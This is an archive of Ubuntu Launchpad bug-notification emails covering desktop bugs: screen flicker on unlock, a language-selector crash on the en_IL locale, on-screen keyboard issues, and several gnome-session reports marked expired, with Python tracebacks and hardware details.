subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1761549 Title: Screen flickering, whenever went to lock, waking up creates problem. Status in xorg package in Ubuntu: Incomplete Bug description: screen flickered after trying to unlock. The display got off after the lock timeout. and then whenever tried to unlock, screen would not wake up after mouse hover. only pressing enter works that too takes time. also need to type multiple time. It happen when the screen goes off without lock and need to on the screen. This time the screen flickering occurred and I had to force shutdown. ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: xorg 1:7.7+19ubuntu3 ProcVersionSignature: Ubuntu 4.13.0-38.43-generic 4.13.16 Uname: Linux 4.13.0-38-generic x86_64 ApportVersion: 2.20.7-0ubuntu3.7 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Apr 5 23:21:05 2018 DistUpgraded: Fresh install DistroCodename: artful DistroVariant: ubuntu ExtraDebuggingInterest: Yes, including running git bisection searches GraphicsCard: Intel Corporation HD Graphics 5500 [8086:1616] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company HD Graphics 5500 [103c:80dd] Subsystem: Hewlett-Packard Company GM107M [GeForce GTX 950M] [103c:80dd] Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 004: ID 04f2:b50c Chicony Electronics Co., Ltd Bus 001 Device 003: ID 8087:07dc Intel Corp. Bus 001 Device 002: ID 04ca:0061 Lite-On Technology Corp. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: Hewlett-Packard HP ENVY Notebook ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.13.0-38-generic.efi.signed root=UUID=66e83990-fa59-45e7-b14e-2c0ec6e2d46c ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 05/23/2017 dmi.bios.vendor: Insyde dmi.bios.version: F.45 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 80DD dmi.board.vendor: Hewlett-Packard dmi.board.version: 64.39 dmi.chassis.asset.tag: Chassis Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: Hewlett-Packard dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsyde:bvrF.45:bd05/23/2017:svnHewlett-Packard:pnHPENVYNotebook:pvrType1ProductConfigId:rvnHewlett-Packard:rn80DD:rvr64.39:cvnHewlett-Packard:ct10:cvrChassisVersion: dmi.product.family: 103C_5335KV G=N L=CON B=HP S=ENV dmi.product.name: HP ENVY Notebook dmi.product.version: Type1ProductConfigId dmi.sys.vendor: Hewlett-Packard version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.83-1 version.libgl1-mesa-dri: libgl1-mesa-dri 17.2.8-0ubuntu0~17.10.1 version.libgl1-mesa-glx: libgl1-mesa-glx 17.2.8-0ubuntu0~17.10.1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.5-0ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.10.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20170309-0ubuntu1
[Desktop-packages] [Bug 1772237] Re: Language support quits immediately after starting
After some research, it seems like a Python bug. I can reproduce the
same problem by running the python3 interpreter:
Python 3.6.5 (default, Apr 1 2018, 05:46:30)
[GCC 7.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import locale
>>> locale.setlocale(locale.LC_CTYPE, 'en_IL')
'en_IL'
>>> mylocale = locale.getlocale(locale.LC_CTYPE)
Traceback (most recent call last):
File "", line 1, in
File "/usr/lib/python3.6/locale.py", line 581, in getlocale
return _parse_localename(localename)
File "/usr/lib/python3.6/locale.py", line 490, in _parse_localename
raise ValueError('unknown locale: %s' % localename)
ValueError: unknown locale: en_IL
>>>
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to language-selector in Ubuntu.
https://bugs.launchpad.net/bugs/1772237
Title:
Language support quits immediately after starting
Status in language-selector package in Ubuntu:
New
Bug description:
When I click on Language Support from the applications menu, it
starts, shows a progress bar, and then immediately quits.
I do not see the crash report window open (Apport), but something
seems to crash. Here is what is appended to the syslog when the
phenomenon happens:
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: Traceback
(most recent call last):
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/bin/gnome-language-selector", line 22, in on_activate
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
options=options)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 202, in __init__
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
self.check_input_methods()
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 57, in wrapper
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: res =
f(*args, **kwargs)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 453, in check_input_methods
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
currentIM = self.ImConfig.getCurrentInputMethod()
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/ImConfig.py", line 39, in
getCurrentInputMethod
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: loc =
locale.getlocale(locale.LC_CTYPE)[0]
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3.6/locale.py", line 581, in getlocale
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
return _parse_localename(localename)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3.6/locale.py", line 490, in _parse_localename
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: raise
ValueError('unknown locale: %s' % localename)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
ValueError: unknown locale: en_IL
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: language-selector-gnome 0.188
ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
Uname: Linux 4.15.0-20-generic x86_64
NonfreeKernelModules: nvidia_modeset nvidia
ApportVersion: 2.20.9-0ubuntu7
Architecture: amd64
CurrentDesktop: ubuntu:GNOME
Date: Sun May 20 12:15:21 2018
InstallationDate: Installed on 2018-05-19 (0 days ago)
InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
PackageArchitecture: all
ProcEnviron:
PATH=(custom, no user)
XDG_RUNTIME_DIR=
LANG=en_IL
SHELL=/bin/bash
SourcePackage: language-selector
UpgradeStatus: No upgrade log present (probably fresh install)
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/language-selector/+bug/1772237/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772237] [NEW] Language support quits immediately after starting
Public bug reported:
When I click on Language Support from the applications menu, it starts,
shows a progress bar, and then immediately quits.
I do not see the crash report window open (Apport), but something seems
to crash. Here is what is appended to the syslog when the phenomenon
happens:
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: Traceback
(most recent call last):
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/bin/gnome-language-selector", line 22, in on_activate
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
options=options)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 202, in __init__
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
self.check_input_methods()
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 57, in wrapper
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: res =
f(*args, **kwargs)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 453, in check_input_methods
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
currentIM = self.ImConfig.getCurrentInputMethod()
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/ImConfig.py", line 39, in
getCurrentInputMethod
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: loc =
locale.getlocale(locale.LC_CTYPE)[0]
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3.6/locale.py", line 581, in getlocale
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: return
_parse_localename(localename)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3.6/locale.py", line 490, in _parse_localename
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: raise
ValueError('unknown locale: %s' % localename)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: ValueError:
unknown locale: en_IL
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: language-selector-gnome 0.188
ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
Uname: Linux 4.15.0-20-generic x86_64
NonfreeKernelModules: nvidia_modeset nvidia
ApportVersion: 2.20.9-0ubuntu7
Architecture: amd64
CurrentDesktop: ubuntu:GNOME
Date: Sun May 20 12:15:21 2018
InstallationDate: Installed on 2018-05-19 (0 days ago)
InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
PackageArchitecture: all
ProcEnviron:
PATH=(custom, no user)
XDG_RUNTIME_DIR=
LANG=en_IL
SHELL=/bin/bash
SourcePackage: language-selector
UpgradeStatus: No upgrade log present (probably fresh install)
** Affects: language-selector (Ubuntu)
Importance: Undecided
Status: New
** Tags: amd64 apport-bug bionic
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to language-selector in Ubuntu.
https://bugs.launchpad.net/bugs/1772237
Title:
Language support quits immediately after starting
Status in language-selector package in Ubuntu:
New
Bug description:
When I click on Language Support from the applications menu, it
starts, shows a progress bar, and then immediately quits.
I do not see the crash report window open (Apport), but something
seems to crash. Here is what is appended to the syslog when the
phenomenon happens:
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: Traceback
(most recent call last):
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/bin/gnome-language-selector", line 22, in on_activate
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
options=options)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 202, in __init__
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
self.check_input_methods()
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 57, in wrapper
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: res =
f(*args, **kwargs)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 453, in check_input_methods
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
currentIM = self.ImConfig.getCurrentInputMethod()
May 20 12:2
[Desktop-packages] [Bug 1767757] Re: On Screen board is not poping out for firefox
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: onboard (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to onboard in Ubuntu. https://bugs.launchpad.net/bugs/1767757 Title: On Screen board is not poping out for firefox Status in onboard package in Ubuntu: Confirmed Bug description: I just upgraded to Ubuntu 18.04. I found that the on-screen keyboard which is available in Universal Access is not popping out when I use the Mozilla Firefox to search or type something. Can any One answer me what to do? I have tried caribou too... But no change in problem To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/onboard/+bug/1767757/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 406300]
http://get.praiseb2dog.com Mary Wright -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pidgin in Ubuntu. https://bugs.launchpad.net/bugs/406300 Title: i cannot log in messenger with pidgin,please help me? Status in pidgin package in Ubuntu: Opinion Bug description: Binary package hint: pidgin i cannot log in messenger with pidgin,please help me? ProblemType: Bug Architecture: i386 DistroRelease: Ubuntu 9.04 ExecutablePath: /usr/bin/pidgin Package: pidgin 1:2.5.5-1ubuntu8.3 ProcEnviron: LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: pidgin Uname: Linux 2.6.28-13-generic i686 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pidgin/+bug/406300/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1509079] Re: logging in to gnome wayland show blank screen and lightdm is restarted
[Expired for gnome-session (Ubuntu) because there has been no activity for 60 days.] ** Changed in: gnome-session (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-session in Ubuntu. https://bugs.launchpad.net/bugs/1509079 Title: logging in to gnome wayland show blank screen and lightdm is restarted Status in gnome-session package in Ubuntu: Expired Bug description: I select the Gnome on Wayland login option, then type my password in and press Enter. A blank screen with a blinking cursor appears, and then I am thrown back into the lightdm login screen, without any error message. I am attaching the lightdm.log which has some intriguing error messages. ProblemType: Bug DistroRelease: Ubuntu 15.10 Package: gnome-session-wayland 3.16.0-1ubuntu2 ProcVersionSignature: Ubuntu 4.2.0-16.19-generic 4.2.3 Uname: Linux 4.2.0-16-generic i686 ApportVersion: 2.19.1-0ubuntu3 Architecture: i386 CurrentDesktop: Unity Date: Thu Oct 22 22:06:22 2015 InstallationDate: Installed on 2013-08-17 (796 days ago) InstallationMedia: Ubuntu 13.04 "Raring Ringtail" - Release i386 (20130424) SourcePackage: gnome-session UpgradeStatus: Upgraded to wily on 2015-10-22 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-session/+bug/1509079/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1252018] Re: "Loading..." message shown for folders with hidden files
[Expired for nautilus (Ubuntu) because there has been no activity for 60 days.] ** Changed in: nautilus (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1252018 Title: "Loading..." message shown for folders with hidden files Status in nautilus package in Ubuntu: Expired Bug description: When a directory containing only hidden files but Natulis setting for displaying hidden files is disable, is expanded in the "List View" mode the "Loading..." message is displayed rather than another one more appropriate like the "(Empty)". 1)$ lsb_release -rd Description: Ubuntu 12.04.3 LTS Release: 12.04 2)$ apt-cache policy nautilus nautilus: Installed: 1:3.4.2-0ubuntu8 Candidate: 1:3.4.2-0ubuntu8 Version table: *** 1:3.4.2-0ubuntu8 0 500 http://gb.archive.ubuntu.com/ubuntu/ precise-updates/main amd64 Packages 100 /var/lib/dpkg/status 1:3.4.1-0ubuntu1 0 500 http://gb.archive.ubuntu.com/ubuntu/ precise/main amd64 Packages 3) To display the label "(Empty)" 4) Displaying the label "Loading..." To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1252018/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 873368] Re: Session fails to start when root system full
[Expired for gnome-session (Ubuntu) because there has been no activity for 60 days.] ** Changed in: gnome-session (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-session in Ubuntu. https://bugs.launchpad.net/bugs/873368 Title: Session fails to start when root system full Status in gnome-session package in Ubuntu: Expired Bug description: When the root filesystem is full, LightDM and GDM loop back to themselves after a couple of seconds instead of starting the main desktop. Ideally the user should be warned that it is not going to be possible to proceed, and what they need to do in order to allow login to proceed (make space available on the root partition, rather than their home partition). To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-session/+bug/873368/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1533985] Re: dell inspiron 7548 touch pad not recognized with multi touch pinch or swipe
[Expired for gnome-session (Ubuntu) because there has been no activity for 60 days.] ** Changed in: gnome-session (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-session in Ubuntu. https://bugs.launchpad.net/bugs/1533985 Title: dell inspiron 7548 touch pad not recognized with multi touch pinch or swipe Status in gnome-session package in Ubuntu: Expired Bug description: two and three finger tap work as expected. Please let me know what kind of information is needed to help track this down. ProblemType: Bug DistroRelease: Ubuntu 15.10 Package: linux-image-4.2.0-23-generic 4.2.0-23.28 ProcVersionSignature: Ubuntu 4.2.0-23.28-generic 4.2.6 Uname: Linux 4.2.0-23-generic x86_64 ApportVersion: 2.19.1-0ubuntu5 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: jeremy 1565 F pulseaudio /dev/snd/controlC1: jeremy 1565 F pulseaudio CurrentDesktop: GNOME Date: Wed Jan 13 22:45:41 2016 HibernationDevice: RESUME=UUID=a25bc1be-6c46-466a-a622-6b575e8a28cf InstallationDate: Installed on 2015-03-11 (308 days ago) InstallationMedia: Ubuntu-GNOME 14.10 "Utopic Unicorn" - Release amd64 (20141022.1) MachineType: Dell Inc. Inspiron 7548 ProcEnviron: TERM=xterm PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb 1 radeondrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.2.0-23-generic root=UUID=225b7c83-fbf8-4bb1-b1f0-be2bb6cf785f ro i915.enable_ips=0 quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-4.2.0-23-generic N/A linux-backports-modules-4.2.0-23-generic N/A linux-firmware1.149.3 SourcePackage: linux UpgradeStatus: Upgraded to wily on 2015-12-10 (34 days ago) dmi.bios.date: 07/20/2015 dmi.bios.vendor: Dell Inc. dmi.bios.version: A05 dmi.board.name: 0AM6R0 dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.modalias: dmi:bvnDellInc.:bvrA05:bd07/20/2015:svnDellInc.:pnInspiron7548:pvrA05:rvnDellInc.:rn0AM6R0:rvrA00:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.name: Inspiron 7548 dmi.product.version: A05 dmi.sys.vendor: Dell Inc. --- ApportVersion: 2.19.1-0ubuntu5 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: jeremy 7956 F pulseaudio /dev/snd/controlC1: jeremy 7956 F pulseaudio CurrentDesktop: GNOME DistroRelease: Ubuntu 15.10 HibernationDevice: RESUME=UUID=a25bc1be-6c46-466a-a622-6b575e8a28cf InstallationDate: Installed on 2015-03-11 (308 days ago) InstallationMedia: Ubuntu-GNOME 14.10 "Utopic Unicorn" - Release amd64 (20141022.1) MachineType: Dell Inc. Inspiron 7548 Package: linux (not installed) ProcEnviron: TERM=xterm PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb 1 radeondrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.2.0-23-generic root=UUID=225b7c83-fbf8-4bb1-b1f0-be2bb6cf785f ro i915.enable_ips=0 quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 4.2.0-23.28-generic 4.2.6 RelatedPackageVersions: linux-restricted-modules-4.2.0-23-generic N/A linux-backports-modules-4.2.0-23-generic N/A linux-firmware1.149.3 Tags: wily Uname: Linux 4.2.0-23-generic x86_64 UpgradeStatus: Upgraded to wily on 2015-12-10 (34 days ago) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo vboxusers _MarkForUpload: True dmi.bios.date: 07/20/2015 dmi.bios.vendor: Dell Inc. dmi.bios.version: A05 dmi.board.name: 0AM6R0 dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.modalias: dmi:bvnDellInc.:bvrA05:bd07/20/2015:svnDellInc.:pnInspiron7548:pvrA05:rvnDellInc.:rn0AM6R0:rvrA00:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.name: Inspiron 7548 dmi.product.version: A05 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-session/+bug/1533985/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1599327] Re: gnome-session crashes with pixman_region32_init_rect: Invalid rectangle passed
[Expired for gnome-session (Ubuntu) because there has been no activity for 60 days.] ** Changed in: gnome-session (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-session in Ubuntu. https://bugs.launchpad.net/bugs/1599327 Title: gnome-session crashes with pixman_region32_init_rect: Invalid rectangle passed Status in gnome-session package in Ubuntu: Expired Bug description: When the problem appears, all the computer screens stop showing the apps (and unity) for a moment, then everything recovers, including the apps. It's simply annoying because it's surprising and it takes a moment to recover. I get this messages in journalctl, repeated multiple times: Jul 06 07:40:44 maldita gnome-session[4791]: *** BUG *** Jul 06 07:40:44 maldita gnome-session[4791]: In pixman_region32_init_rect: Invalid rectangle passed Jul 06 07:40:44 maldita gnome-session[4791]: Set a breakpoint on '_pixman_log_error' to debug ProblemType: Bug DistroRelease: Ubuntu 16.10 Package: gnome-session 3.18.1.2-1ubuntu2 ProcVersionSignature: Ubuntu 4.4.0-30.49-generic 4.4.13 Uname: Linux 4.4.0-30-generic x86_64 ApportVersion: 2.20.2-0ubuntu1 Architecture: amd64 CurrentDesktop: Unity Date: Wed Jul 6 07:42:38 2016 EcryptfsInUse: Yes InstallationDate: Installed on 2012-11-25 (1318 days ago) InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Alpha amd64 (20120627) PackageArchitecture: all ProcEnviron: LANGUAGE=en_SG:en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_SG.UTF-8 SHELL=/bin/bash SourcePackage: gnome-session UpgradeStatus: Upgraded to yakkety on 2015-03-14 (479 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-session/+bug/1599327/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
